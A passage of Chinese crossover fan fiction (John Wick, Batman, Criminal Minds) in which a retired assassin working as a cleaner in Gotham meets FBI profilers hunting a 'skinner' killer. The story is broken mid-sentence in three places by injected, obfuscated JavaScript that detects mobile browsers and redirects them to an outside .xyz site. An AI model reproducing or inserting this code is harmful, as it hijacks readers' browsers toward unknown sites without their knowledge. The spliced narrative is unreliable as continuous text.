约翰将拖把放进桶里又涮了一次,桶里的水已是鲜红无比,不难凭此猜出这里之前的惨状。 约翰拖着地,打了个哈欠,请了几天假的后果就是他要多值几次夜班,偏偏他白天还要搞事,这么搞下来几乎没有休息的时间。不过最近要好些,猫头鹰法庭那边主动退出了战场,彻底隐匿到约翰查不到的地方去了。 约翰可不会认为这是他们的投降令,他的行事也更谨慎了,甚至放弃了从中指引并趁乱给猫头鹰法庭泼脏水,他怀疑对方早就启动了“利爪”来收拾他,只是这个所谓的杀器一直都没有找上门来,这倒让他有点失望。 真人和图片总是有点不一样的,他还是有一点期望看到利爪的真实模样的。 约翰拖完地去倒水,回来收拾工具准备离开时,突然察觉到了第二个人的存在。 “……” 心想事成的速度有这么快吗? 16.。 约翰放下工具箱,从里面拿出最后一个裹尸袋。 他耐心等了两分钟,那个暗中窥伺的人却迟迟没有露面,甚至直接离开了。 约翰摸不着头脑地站起来,刚才确实是有一道不可忽视的恶意视线,现在却消失得干脆利落,实在是莫名其妙。 约翰嘀咕着“可惜”,重新提起工具箱离开了。 之后就这么照常工作了几天,一切都是风平浪静的,直到约翰某天下班回家时路过一家他常去的餐馆,突然,他想起来自己上次在这里吃晚餐结果把手机落下了,但是后面他因为工作忙,就一直没有来取回手机,甚至还买了个新的用着。今天一想,时间正合适,他总得把旧的那个拿回来。 只是餐馆门口的警戒线实在太过刺目,他实在不好贸然进去找老板要失物。 约翰混在围观人群里,站在餐馆门外伸头朝里面张望,看起来就像个普通路人。 不多时,身上还穿着围裙的女服务员在警方的护送下从里面走了出来,看起来像是问完了他们该问的问题。紧接着,餐馆的厨师走了出来,胖乎乎的脸上还挂着惊恐的表情,他一边擦着汗,一边搀扶着自己的老婆——也就是那名女服务员离开。 两人走到街边坐下,约翰走过去询问他们餐馆内部的变故。 “呼,是约翰啊……” 女服务员莉莉抬头看见了约翰,紧张的精神终于放松了片刻,她呼出一口气,绞尽脑汁地想要描述她刚才看见的事物。 “餐馆里不是有一个不用的橱柜吗?之前老板舍不得丢,就让我们把它搬到了洗手间的过道里……” “嗯,我知道,已经放了有一个月了吧。” 约翰点点头,几乎每个第一次看见柜子的客人都要问老板为什么要把柜子放在那里。 “是的,吉姆一直想让他那个表亲把柜子运走,但是他那个表亲迟迟不来……” 约翰发现了莉莉的迟疑,他明白了什么,问道:“莉莉,那个柜子里有什么?” 莉莉捂着脸,她那满头大汗的丈夫才接过她未说完的话:“是一具、一具被剥了皮的尸体,吉姆从衣服认出来的……那可能是他的表亲汉斯。” 约翰又问了几句,大致补全了事情的前因后果。 这天傍晚,有一个醉醺醺的路人进来借用洗手间,他解完手出来时注意到了那个突兀的橱柜,于是他直接打开了柜子,想要看看里面有没有什么可以顺走的东西,结果却看到了一具缠满保鲜膜的、鲜血淋漓的尸体。 醉汉大叫一声,晕死过去,老板吉姆跑过来查看情况,一抬头就看到了那骇人的一幕,差点心脏病发跟着一块去了,然后才是莉莉和另一名女服务员跑过去查看情况,尖叫过后总算有食客想起来报警,之后就是约翰看到的情况了。 如果尸体真的是吉姆的那个表亲,那餐馆里除了吉姆以外,其实只有塔瓦娜和他算得上有关系,他们曾交往过两个月。 然而这两个人在约翰看来实在不像是做凶手的料子。比如说吉姆,他是个大方热情的老板,经常组织免费饮酒看球赛的活动,而塔瓦娜则是个腼腆内向的姑娘,她从不与人争执,甚至过分软弱,常常是莉莉帮她追回小费。 不过与他的怀疑不同,莉莉和她丈夫鲁科夫因为听到了些别的咨询,倒是比约翰这个真正接触过黑暗面的人要懂得多。 “真没想到,那个混蛋竟然来到哥谭了——” 莉莉的手掌在手臂上用力摩擦几下,试图抚平那些鸡皮疙瘩,她咬着牙,怎么也想不明白,哥谭里怎么会有外来的变态杀人犯。 难道哥谭本地的杀人犯还不够吗? 约翰——不喜欢看新闻只喜欢看报纸,还经常漏看几期的男人——他跟着坐在了街边的人行道上,询问莉莉刚才话里的“混蛋”是指谁。 “你不知道吗?” 莉莉下意识反问一句,然后又说服了自己。 “对,你不看这种新闻,所以才不知道。我说的是最近总是被报道的一个连环杀人犯,那些记者管他叫‘剥皮人’,就是说他喜欢把人的皮肤给活生生剥下来,然后再杀死被害人,从两个月前开始,他已经用同样的手法杀死6个、不,7个人了。” 鲁科夫小声纠正了莉莉:“是6个,这个也不能确定就是……就是那家伙做的……” 莉莉瞪了他一眼,又开始对着约翰说这个混蛋有多么可恶,据说他杀过的人里,还包括一个五岁大的孩子和孩子的单亲妈妈。 “哥谭本地的那些神经病,有几个能对五岁的孩子做出这么残忍的事情?” 莉莉一边诉说她的不满,一边狠狠控诉那些无能的警察,当她说到找其他人帮忙时,突然就想起来那个十分有名的BAU小组,于是她话题一转,又开始说起希望这些人能把“剥皮人”绳之以法的话来。 她变回了平日里的那个“话痨莉莉”。 只是约翰从她开始吐槽之后就没在认真听了,他只是在走神,忽然,一个有点熟悉的词汇从他的左耳朵里进去,他回过神来,那个词汇又迅速溜走了。 约翰只好认真听着,总算听到了莉莉第N次说起BAU的名称。 “是FBI的人吗?” “当然了,balabala……” 约翰再次走神,他突然想起来自己之前顺手解决的一个连环杀人犯,有些犹疑。那些人不会看出什么来吧?他当时的一切行为的前提都是建立在普通警察查案的前提下,如果这帮人真的像莉莉说的这么厉害,那岂不是—— 不对,他又不欠他们什么,没什么可担心的。 约翰叹气,又坐在地上等了一会儿,一直没有等到吉姆出来,从窗户看去,他还在里面接受警察的质询,也不知道那些人要问到什么时候。 看来今天是拿不回他的东西了。 约翰失落地向莉莉和鲁科夫告别,回到了家里。 晚上,他在报纸堆里翻找了一圈都没找到他想看的报道,就在他疑惑之际,视线忽然落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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罗西拍了拍瑞德的肩膀,告诉他:“你难道没听过一句话吗?‘当你踏上哥谭土地的那一刻,危险已经如影随形,记得提前买好各种保险’。” 他们走出机场,JJ已经将车开到了门口看得出来她之前一直守在这里,生怕自己一下车,车的轮胎就少了一个,或者车自己开走了。 罗西看到JJ在这里等着,摊手说:“我还以为你提前走那么早,现在应该正忙着应付那些记者呢?怎么会在这里等我们,警察局的人呢?” JJ打开车门的锁,车里还播报着实时新闻。 “我们不走运,有个叫稻草人的犯人策划了一起恐怖袭击,警察局里支持我们的人都去支援前线了。” “那就是还有人留在警局,看来我们一会儿要面对不少冷脸。” 罗西半开玩笑地坐进车里,摩根走过来接替了JJ的位置,JJ顺势坐到副驾驶座上,说起了对他们一行人比较“友善”的戈登局长,也是这位戈登局长接受了他们的申请。 新闻还在播报,播报员提到了戈登的名字,突然,他的声音转了一百八十个弯,喊起了蝙蝠侠的名号。 坐在后排的罗西吹了个口哨,打趣道: “英雄登场。” 17.波折 稻草人被蝙蝠侠等人成功制服了,罗宾和搅局者则协助警方把他押送到黑门监狱里去。 蝙蝠侠撤退前,戈登把人叫住,和他说起了新来的BAU小组的事情。 “他们追查连环杀人犯很有一套,不过为了以防万一,还是要麻烦你多盯着点。”哥谭毕竟混乱些,这些人能查案是一回事,抓捕犯人就是另一回事了,鬼知道那个“剥皮人”会不会附上名为“哥谭反派实力UP”的光环,到时候一个不好收场,那些探员十有八九会就折在这里。 蝙蝠侠自有他的打算,但是他也没有拒绝戈登的请托,只是暗示他及时分享杀人犯的信息,然后再次如往常一样悄无声息地离开了。 与此同时,被他们提及的BAU探员们终于抵达了哥谭警察局,不过情况比他们预计的要好些,有些警员最多只是漠视他们,还远不到针对的程度,再加上有戈登的安排,他们成功在这里拥有了临时办公室。 这边,霍奇等人根据加西亚搜集到的信息开展了初步的侧写工作,另一边,约翰终于见到了吉姆,拿回了自己的旧手机。 吉姆的脸上挂着一对黑眼圈,头发也不像往日一样打理过,看起来更显疲态,他听约翰说起前几天来找过他的事,情绪立刻崩溃了。 约翰生怕吉姆心脏病发死在他面前,见状连忙扶着对方坐下,还给他倒了杯水,不过这水壶里的水似乎也是好几天前的了。 “牙医、牙医确定了记录,那就是汉斯的尸体……” 吉姆擤了一下鼻子,开始嘟囔着他没法和那个表亲的家人交代的事。 “她们住在新城,我还没联系她们,也不知道警方有没有……不行,我要上门看看,对,我要上门看看……约翰,你能顺道、跟我、跟我一起——” 吉姆犹豫地向约翰发出邀请,他一边解释自己实在是不敢独自面对汉斯一家的痛苦,一边不停地恳求约翰能陪他走一趟。 约翰是排班轮休的,今明两天刚好是他的休息日,要说时间嘛,当然是有的,只是他不认为自己陪吉姆去会不会好一些,毕竟他对于汉斯的亲属而言只是个陌生人。 可是吉姆一直恳求他的声音实在是太烦了,再加上他听到吉姆说起汉斯家里只有他的妻子和一个五岁大的女儿,他不免心神一动,鬼使神差地答应了吉姆。 坐在车上时,约翰还在后悔,可是看着吉姆一个平日幽默诙谐的男人如今一把眼泪一把鼻涕地开车,他的心脏又提起来了。 约翰十分担忧他们会出交通事故,于是在半道上强烈要求自己来开车,让吉姆在副驾驶座上好好平复一下情绪。 之后按照吉姆的口述,约翰将车开到了一栋公寓楼底下,并一言不发地跟着吉姆爬楼梯爬到了六楼。 吉姆攥着手,心情十分紧张,他在约翰的注目下敲响了门,过了好一会儿都没人来应门。 直到约翰打算撞门时,门终于从里面打开了。 汉斯的妻子苏菲戴了一顶棒球帽,她肩上的包挎得歪七八扭的,行动间十分匆忙,她看见吉姆杵在她门口,以为他是来找自己的丈夫的,随口说道:“汉斯上个星期接了一趟出城的货单,这几天都不在家,你怎么不打电话问问,还跑过来——” 她看到吉姆紧张的表情突然垮下来,关门的手也跟着松开。 “发生什么事了?” 她看着吉姆,又看着约翰这个陌生人,终于察觉到了一丝不对劲,她挤到吉姆身边,小声问他汉斯是不是又惹了什么麻烦,暗指约翰是找上门的坏蛋。 约翰听多了这样的词,不置可否。 而吉姆却不能让苏菲这么误会约翰,可他又不知该怎么开口,只好先试探性地询问:“苏菲,你有接到警察的电话吗?” “你说最近吗?汉斯最近没惹什么麻烦啊。” “不、不是那种……” 苏菲见吉姆半天吐不出来一个字,不耐烦地打断他的话,她急着去做兼职,不打算再和吉姆在门口耗下去。 “你的丈夫被谋杀了。” 约翰见吉姆半天说不出来一个字,有些头疼,他只好主动把事情告诉苏菲。 “啪嗒——” 苏菲肩上的挎包掉落在地上,她看向约翰,还没有反应过来方才那句话的真正含义,还是吉姆先扶住了她,她才像被抽去骨头一样,身体支撑不住倒在了吉姆身上。 吉姆费力地抱着苏菲,脸因为用力而憋得通红,连牙齿都紧紧咬着。约翰没有要搭把手的意思,他只是把门打开了,然后请吉姆把人半拖半拽地带进去,接着又拾起了地上的挎包,跟在吉姆身后走了进去。 吉姆把人扶到沙发上,给苏菲端茶倒水忙前忙后,才终于看到她缓过来的模样。 苏菲缓过神来,急着追问吉姆凶手是谁,当听到“剥皮人”这个称呼时,她的脸上闪过一丝不自然,吉姆都不敢正眼看她,生怕苏菲会责怪他没有看顾好汉斯,哪里会注意到这种细节。 约翰就不一样。 约翰冷漠地站在吉姆旁边,看起来十分不好惹,他的气质甚至让苏菲误会了,以为他是吉姆请来的“专业人士”。 苏菲看着约翰,支支吾吾地问起约翰的身份。 吉姆知道约翰是做清洁工的,倒不如说,好多和约翰熟识的店主都知道约翰的工作性质,就是灰色工作,所以他才叫上约翰来壮胆。而且他自己也因为某些原因请过清洁工,虽然那是一笔让他肉疼的支出,但是结果很不错,他就当是花钱买了高端的家政服务了。 不过这种事肯定是不能和苏菲说起来的。 吉姆会来这里,与其说他是担心苏菲会挺不住,倒不如说他是担心汉斯的女儿艾拉的情绪。这样小的小孩子,要怎么和她解释,她的爸爸永远也不会回来的事呢? 吉姆含糊带过约翰的身份,只说这是陪他一起来的朋友,话题一转,紧接着就问起了艾拉人在哪儿。 “今天是工作日,我送她到社区幼儿园里了。” 苏菲说着,抹了眼泪的双手在膝盖上来回蹭。蹭了没几下,她站起来拿起约翰放在茶几上的挎包,主动抱了一下站起来的吉姆,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205557|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请他们离开,因为她还赶着去做兼职。 “艾拉生病时我们借了不少钱,所以……” 苏菲都这么说了,吉姆自然不好再待下去,尽管没看到艾拉让他有些失望,但他也因为不用直接和孩子解释关于生死的问题而松了一口气,他和苏菲告了别,跟在约翰身后走出了公寓。 约翰没有听吉姆和他的唠叨,还在回想苏菲刚才那一瞬间的不自然,突然,一种猜想击中了他——他怀疑汉斯的死或许和苏菲有关。 至于那个“剥皮人”,是真是假都尚未有定论。 约翰拉开车门,吉姆还在建议他们一起去那个社区幼儿园,突然,一辆黑色福特车开了过来。 汽车停下,从车上下来一男一女,男人是一名俊帅的黑人,女人看起来像是《老友记》里的凯西。 他们注意到吉姆和约翰的视线,并没有在意,警察局里的人也是这么看他们的。 只是那个男人在走进公寓前多看了约翰一眼,他总感觉约翰有点面熟,好像他们曾在哪里见过一面。 艾米莉小声和摩根说起那个高个的大帅哥:“你看他,那张脸,我们是不是见过他?” 约翰的脸,没几个人见了之后还能忘记的。 摩根和艾米莉对视一眼,他点点头,确实觉得约翰看起来很眼熟,虽然不知道这种熟悉感是哪来的,但是从业多年的经验告诉他不要放过任何转瞬即逝的灵感。 两人默契地转了一百八度,掏出证件走到约翰面前搭话。 吉姆看到两人拿出的证件,还以为约翰是要暴露了,还想替人遮掩,他慌里慌张地开始解释他们在这里的原因,不断重复他们和死者汉斯以及汉斯的妻子之间的关系,前几天警方问话他也是回答得语无伦次、颠三倒四,所以才被留着问了许久。 “汉斯?苏菲?你们和他们认识?”摩根语气惊奇,不由想他们真是走运,竟然真的碰上了案件相关人。 约翰使劲拍了拍吉姆的背部给他顺气,吉姆这才能好好说话,重新解释了一遍他们几人的关系,还说起了苏菲的事。 “你们是来办汉斯的案件吗?要是来找苏菲的话,可能要换个时间,她刚刚离开家去做兼职了。” “你说什么?” 艾米莉皱着眉毛,秀丽的眼睛里写满了疑问,摩根则承接她的疑问同吉姆说道:“可我们来之前和她通过电话,她也承诺过自己会在家里等待。” 不等他们开始面面相觑,约翰插话说起了苏菲的女儿艾拉的事。 “我们可以先去那个幼儿园看看,孩子如果还在,最好先确保她的安全,如果不在,可能就是苏菲带着孩子逃跑了。” 摩根赞同约翰的想法,他叫上艾米莉,开车跟在了吉姆的车后面,匆匆赶往社区的幼儿园。 到了地方,吉姆直接朝里面冲,被保安拦下来,还是摩根拿出证件他们才被放行。 吉姆找到负责人,他和这人见过几次面,于是便直接问起艾拉的事情。 “她被她妈妈接走了,说是要去医院。” 18.顺理成章 晴天霹雳。 吉姆整个人失了颜色,呆呆地坐在警察局里,旁边是沉默着陪同的约翰,不时有人借口给他们端茶倒水而跑过来一睹约翰的“美貌”。 有人小声议论着约翰的外表,把他夸出花来,还说他看起来就十分沉稳可靠。 然而实际上,约翰在这里一脸深沉不是因为他本性如此,而是因为他在走神,确切的说,他在放空自己。 从“事情是怎么变成这样的”,到“我为什么也要过来”,再到“我能不能偷偷溜走”,约翰把话在头脑里转了一圈又一圈,思路也渐渐跑偏,如果这时候有人向他搭话,他张口就只会说“阿巴阿巴”。 又过去了十分钟,在看约翰女警和凑热闹的男警第不知道多少次把约翰面前的水杯换掉后,戈登和那些探员们终于抽出时间把人叫到办公室里问话了。 原本摩根他们应该早就能从吉姆这里得到详细信息的,但是苏菲被枪杀的尸体就出现在他们离开那片社区的必经之路上,周围不见艾拉的身影。 他们急匆匆给戈登打了电话,戈登又连忙发布了安珀警报并联系了法医办公室的人来把尸体带走,一堆事件处理下来之前,吉姆和约翰就只能待在警察局。 而更为重要的一点,法医应BAU的要求对汉斯的尸体进行了二次尸检,检查结果与“剥皮人”前几次作案的尸检报告有所出入,瑞德判断这或许是模仿犯案,霍奇和罗西却没有立刻下结论。 “当时也许是有突发情况或某种象征意义,所以他才留下了一小块皮肤没有剥离干净,这并不能说明是模仿作案。” 罗西手拿着尸检报告,里面有一张法医拍摄的照片,照片内容正是那块被凶手遗漏的、带有泪滴纹身的皮肤。 霍奇也注意到了那个纹身,比起突发情况,他更偏向于这是具有象征意义的。 “谋杀汉斯的凶手在某些处理细节上与之前一致,这些细节并对外没有披露过,所以基本排除模仿作案的可能。” “另外,从我们之前对犯人的侧写可以看出来,他是一个行事严谨、一丝不苟的男人,有充足的时间和专业的技术支持他对被害人的虐行,理论上来看,他不可能会犯下这样的‘错误’。” 瑞德手里也有一张关于纹身的照片,他从加西亚那里下载了所有泪滴纹身的资料,此时还在研究这个纹身的意义。他说:“如果是带有象征意义,那不正意味着我们在接近他变成‘犯人’的所有契机吗?” 说罢,瑞德终于找到了有关纹身的线索,他将平板上的图片投影到白板上,拿起马克笔将重要的部分——一枚印着字母“J”的妖精硬币纹身——给圈了出来。 “完整外轮廓的泪滴纹身表示汉斯曾经杀死过某人,而泪滴纹身加上这个硬币纹身,就是哥谭里十几年前一个十分猖狂的帮派的代表纹身。” 摩根随手记下那个纹身的图样,汉斯的资料里没有他因为杀人而坐牢的记录,他拜托了加西亚调查这个帮派的资料,可加西亚却什么也没查出来。他也赞同那个“象征意义”的说法,那么为今之计就只有从哥谭本地人入手了。 “这么看来,凶手的行为或许是在‘寻仇’,这能解释他一系列行为中隐藏的愤怒和仇恨,凶手或许正是哥谭本地人。” 他刚说完,艾米莉就走进来通知他们戈登回来了。 霍奇发话:“正好,我们还有些事要一起问一问死者的亲戚——吉姆·莫尔纳。” 戈登的办公室里,众人以此坐下,戈登、罗西、霍奇……然后是吉姆,等到了约翰和瑞德时,两人就只能站在原本放着绿植的地方充当盆栽。 约翰很想问这些人为什么这么自然地就接受了他的存在,他此时不应该在这里才对,可这些人在他离开前就开始了问询,无奈,他只好顺从自己的好奇心,留在这里听了一耳朵。 在霍奇等人的引导下,吉姆又重复了一遍他发现尸体时的场景,他回答地十分流利,早已不像第一次回答警方问题时那样恐慌不安。可当戈登问起汉斯曾经犯下的谋杀罪时,他好像又变回了那个“结巴吉姆”,口齿含糊不清,半天也说不到重点上。 明眼人一看就知道他在隐瞒什么,更何况是他们这些人。 终于,在罗西的解释和概念替换下,吉姆说出了十五年前的一件往事。 “十五年前,那时候的汉斯才十七岁,他的父母被卷进恐怖袭击中身亡,他流落街头,加入了一个叫‘圣徒’的帮派混了两年,一年后我回到哥谭开店,他带着人来我店里抢劫,那时候我才认出他,一个月后他来找我,脸色煞白,我一看就知道他是做了什么无法挽回的事了。 他没有告诉我具体发生了什么,只是过来拜托我不要向别人透露他的行踪,然后就消失了。又过了几年,‘圣徒’这个帮派销声匿迹了,他才带着怀孕的苏菲来找我,希望我给他找一份工作,当时苏菲瘦骨嶙峋,相比起来肚子就看起来格外的大,我看在孕妇的面子上才给他找了个帮人送货的工作。” 吉姆搓搓手,接着说:“我一直不知道当时发生了什么,可是看汉斯的样子就知道那绝对是个不小的麻烦,所以他死了之后,我还想过是不是过去的麻烦找上他了,他才……” 摩根将他刚才随手画下的纹身图案拿出来给吉姆看,问他:“你记得在汉斯去找你然后消失之前,他脸上的纹身是这样的吗?” 吉姆仔细辨认了一番,摇头说:“过去太久了,我也不记得了,可能不太一样?” 约翰站在吉姆作后方的位置,不用踮脚他也能看清那个纹身的图案,吉姆不觉得熟悉,可他却来了劲。 几年前,约翰接手了一个轻松的任务,委托人已经是一杯黄土,不提也罢,重要的是委托的内容——暗杀“圣徒”帮的头目以及为他们提供火药武器的走私商。 约翰当时刚刚结束了一个大单,顺路来哥谭完成个小任务放松一下,但因为联盟那边出了事,他就只待了一天,赶场子似的杀完人,马不停蹄坐上飞机回总部去了。 他还记得,当时是哪个前辈叛变来着,雷点大雨声小,等他赶回去,双方一个人都没死,最后和平解决了。 哦,不对。 当时的联盟会长被误伤了,为此还失去了生育能力,嗯,就他一个倒霉蛋。 回归正题,这个纹身他见过的。 他记得这种完整版的纹身意味着“圣徒”帮的高层,而不是一般人以为的“杀过人”的意义。 约翰没有吱声,如果那个所谓的“剥皮人”不是无差别犯案的话,那他还要考虑一下是否把自己知道的事情悄悄透露给这些人。 就在其他人追问吉姆事件的细节之时,和约翰一起站着的瑞德注意到约翰偷偷看了那个纹身好几眼,他的第一反应是约翰一定是认出来了,看一遍是好奇,看第二遍就是在核实记忆中的图案了。 于是乎,瑞德问起了约翰:“这位先生,你是不是认识这个纹身?”一时间,所有人的目光都看向了两人。 在众人的注视下,瑞德对着约翰的脸看了两秒,突然就想起来一年以前他们在纽约警察局门口见过,不,是他们单方面见过人家,约翰那时候正在打电话。 瑞德满脸都是“原来是你”,搞得约翰一头雾水。 “你看起来还认识我呢。” 约翰回嘴,没想到得到了瑞德点头又摇头的回答。 他一点也不客气,指着瑞德对着这些人里明显是家长的人说:“他脑子坏掉了?” 霍奇没有回答他这个调侃,他相信瑞德,知道瑞德不会无缘无故做出那样的指控,他和约翰对视,在这个人眼里他什么也没看到,但这并不妨碍他继续问下去。 “比起那个,先生,你或许应该解释一下你对这个纹身的看法。” 吉姆弱弱的一句“约翰是来陪我的”,他想说约翰没有任何问题,是个好人,却被所有人给无视了个干净。当然,他的话还是有些作用的,比如解释了约翰为什么会出现在这里,倒省得戈登追问了。 “我?” 约翰左看右看,被一群人紧紧盯着的感觉确实怪异,就好像之前在韦恩宅,只是那些人更擅长伪装。 “是都市传闻。” 约翰说了一个听上去就十分假的解释。 约翰才来哥谭不到一年,竟然知道连吉姆这个待了十几年的人都不知道的都市传闻,一看就有问题。 而戈登这个哥谭本地警察局局长的话就更有说服力。 只听他开口:“都市传闻?我怎么不知道哥谭还有这样的传闻?” 约翰以圣工会现代派的联盟会长发誓,他此时用尽了他毕生最大的演技,将一个惶恐中带着不容拒绝,不容拒绝中带着坚定,坚定中带着无可奈何的一般市民形象表现得十分完美。 约翰闭了闭眼,像是下定决心一样,说:“好吧,我其实是在韦恩庄园里做家政时听到的,但我不能确定消息的真假——‘圣徒的头目和他的亲信们才会纹这种J字母硬币和完整外轮廓的泪滴纹身。” 霍奇他们只听过哥谭著名首富兼花花公子布鲁斯·韦恩的大名而不知道他与蝙蝠侠之间的联系,所以他们听到约翰这么解释,反而还认真地探讨起了韦恩这种地位的家族怎么会和那样的帮派有所关联,他们转而想到这里是哥谭,藏污纳垢并不罕见,于是他们又自然而然地接受了这个设定,顺便忽略了戈登的“不要什么都以‘这是在哥谭’结尾啊”。 戈登,作为有所察觉布鲁斯的另一面且总是叫蝙蝠侠帮忙的人,他不仅听过花花公子和黑暗骑士之间的绯闻,他还听过花花公子和黑暗骑士以及超人之间的绯闻,他欲言又止、止言又欲,总之就是不太相信韦恩一家会和那个帮派有什么瓜葛。 再者说,上一代韦恩夫妇的人品有目共睹,这一代的韦恩虽然爱玩了点,但慈善的事是一点也没少做,因此,他并不相信约翰所说的传闻来源。 “口说无凭,你应该拿出证据吧?这位——” “约翰·曼尼。”约翰自我介绍。 “这位曼尼先生。” 约翰作出认真思考的模样,说:“我当时确实只是不小心听到了他们在讨论这件事,而且我是去做家政服务的,又不是去做间谍的,身上怎么会带录音设备呢?” “不过我听到他们讨论的前提是韦恩家的小儿子达米安当时正在为历史学的作业发愁,似乎是老师布置了有关哥谭本地帮派历史的作业。” 约翰的回答不仅详实得当、可信,还将某些糟糕的猜想彻底去除了。 “具体情况你们可以联系达米安确认,或者联系韦恩庄园的管家潘尼沃斯先生,他们都知道我在那里工作过。” 戈登看了约翰一眼,拿起了电话联系阿福,霍奇见状当即隐晦地表示让他来联系对方,显然,他是觉得一个警察局局长熟练地拨打当地富豪家里电话的举动太可疑了。 戈登不在乎谁来问,他将听筒交给霍奇,霍奇接过去等待片刻,听到电话接通的声音,他表明了自己的身份以及来意,还让对方和戈登确认了一遍。 “你好,潘尼沃斯先生,我打来是询问关于曾在韦恩庄园工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214833|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作过的家政的姓名,他叫——” “你是说约翰,约翰·曼尼先生吗?” 阿福回答得很快,不是所有人都可以在一个老年管家的心里留下那么深刻的印象的,少爷小姐们也一样,还给约翰起了“male-maid”的外号,意思是男-女仆,现在他们一提到约翰,都会挤眉弄眼地说“male-maid”,好像成了某种暗号了。 但是阿福回答得太快了,霍奇反而迟疑了。 霍奇将话筒交给罗西,罗西接过来对着阿福介绍了自己,然后问他:“这是我们办案必需要问的问题—— 达米安·韦恩有没有做过关于哥谭帮派的历史作业?” 阿福已经好久都没有辅导过达米安的作业了,他以前倒是常常辅导杰森的作业,而且达米安并不常向他以及布鲁斯寻求作业上的帮助,达米安提前学了太多,所以这时候他还真的不能确定。 “作业方面一直是老爷在操心的,我只是一个普通管家”阿福十分不走心地回答。 “请稍等片刻,我去问过老爷。” 罗西等了几分钟,另一边才有了声音,不是刚才的管家,是一个年轻许多的声音,声音透着疲惫和困倦,不难想象他是被人从被窝里拖出来的。 罗西知道对面的人就是布鲁斯·韦恩了。 “作业?我记得好像是有这一回事,可我最近不怎么管了,我还有约会,这样吧,我给你把他哥哥叫来,他哥哥非常聪明,达米安有任何不会的问题都会去问他。” 布鲁斯嘟囔着说完,又让罗西等了几分钟。 之后一个更加疲惫和困倦的声音回复了罗西:“罗西探员是吗?我可以回答你这个问题,达米安故意不写这份作业,被历史老师罚留堂了。” 罗西闻言,看向约翰,约翰立刻回以一个纯良无辜的微笑,他只好追问:“请问你知道关于圣徒帮的信息吗?” 提姆下意识想回避任何可能会显露出他的“第二身份”的回答,但他很快就反应过来,这是在问达米安的历史作业,他要按照辅导达米安写历史作业的模板去回答, “当然了,我和他一起查过资料,唉,可惜了那些资料,他的历史作业竟然一个字都没写。” “既然如此,请允许我们复制一份资料,这和案件调查有关。” 提姆瞬间坐直了,他和罗西约定了转交资料的时间,挂断了电话立刻联系了布鲁斯,布鲁斯并不想罗西以为的那样疲惫和困倦,他看起来很精神,好像刚才那些话都是故意为之,他此时正坐在客厅的沙发上,听提姆说起哥谭帮派资料的事情。 “我之前和戈登说过,他告诉我查案的进展,我会适时助力,当然也包括查一些资料,帮派资料是吗?我明白,我先去蝙蝠洞,之后由阿福送过去。” 布鲁斯倒腾着站起来,到蝙蝠洞里查相关的资料,戈登发布了安珀警报之后接到新的尸检报告,顺便还将报告发给他看了,他当时就看过了那个纹身,也猜过凶手和汉斯之间有某种仇怨关系,直到刚才为止,他都还在查汉斯的背景。 就这样,误打误撞之间,罗西他们得到了查案的资料,布鲁斯他们成功在不被怀疑的情况下给出了帮助查案的资料,约翰也洗清了罗西等人对他身份的怀疑,可喜可贺,可喜可贺。 只是,果真吗? 罗西等人真的没有想过为什么加西亚都查不出来的资料,提姆·德雷克和达米安·韦恩却能查到?后者是个被留堂的学生可以忽略不计,那前者呢?真的只是一个普通的家族企业接班人吗? 他们当然有很多疑问,可那些都和案件无关,而且“天才少年”也不是什么罕见标签,他们身边就有一个最直观的例子,所以直到最后他们都没有去计较提姆的能力问题。 罗西挂断了电话,和其他人说起了他们拿到资料的时间、地点。 “两小时后,潘尼沃斯先生会带着资料来警察局。” 吉姆见他们已经将话题转向帮派上了,以为汉斯的事情和他无关了,立即站起来要离开,同时希望戈登能帮忙找到艾拉,他可以支付任何报酬。 戈登拒绝了他的报酬,念着这里确实没有吉姆的事了,就说:“你可以先走了,只是保持联系,近期不要离开哥谭。” 吉姆应下来,转头去找约翰,他把人扯进来,花费了这么长时间,还想着请他喝两杯,结果一转头却是什么人也没看到。 吉姆转了一圈,才在办公室门外看到了正在和一个高瘦的年轻人说话的约翰,那个年轻人就是最开始质问约翰的人,可看他他们现在聊得有说有笑的场景,吉姆又开始摸不着头脑了。 与他不同的,是摩根和艾米莉,两人对视一眼,露出个看好戏的笑脸来,他们像做贼一样躲在玻璃门后面偷听,还打开了门缝。 大家长霍奇和罗西对视一眼,很是无奈。 门外,瑞德一开始是想和约翰道个歉,结果说出去的话却被约翰带偏了,为了不打扰到罗西通电话,两人自然要离开办公室。 约翰不认为这有什么好道歉的,而且他确信瑞德认识他。瑞德则坚持自己的原则,他承认自己为了查案确实在那一瞬间十分怀疑约翰的身份,还想过他是混进来的凶手的人,误会解开了,他也应当把话说清楚。 “至于认识……我确实见过你,不过只是单方面的,在纽约。” 纽约? 约翰回忆了他在纽约干过的事,数不胜数啊,他心虚一阵,很快就因为退休了变得理直气壮。 在职的约翰和退休的约翰当然不一样。 19.酒吧 约翰不想和瑞德这样的FBI探员有什么牵扯,他自认为面对如今的场景,最好的处理方式就是以“你好,再见”来做结尾,可对方显然不打算配合他装傻。 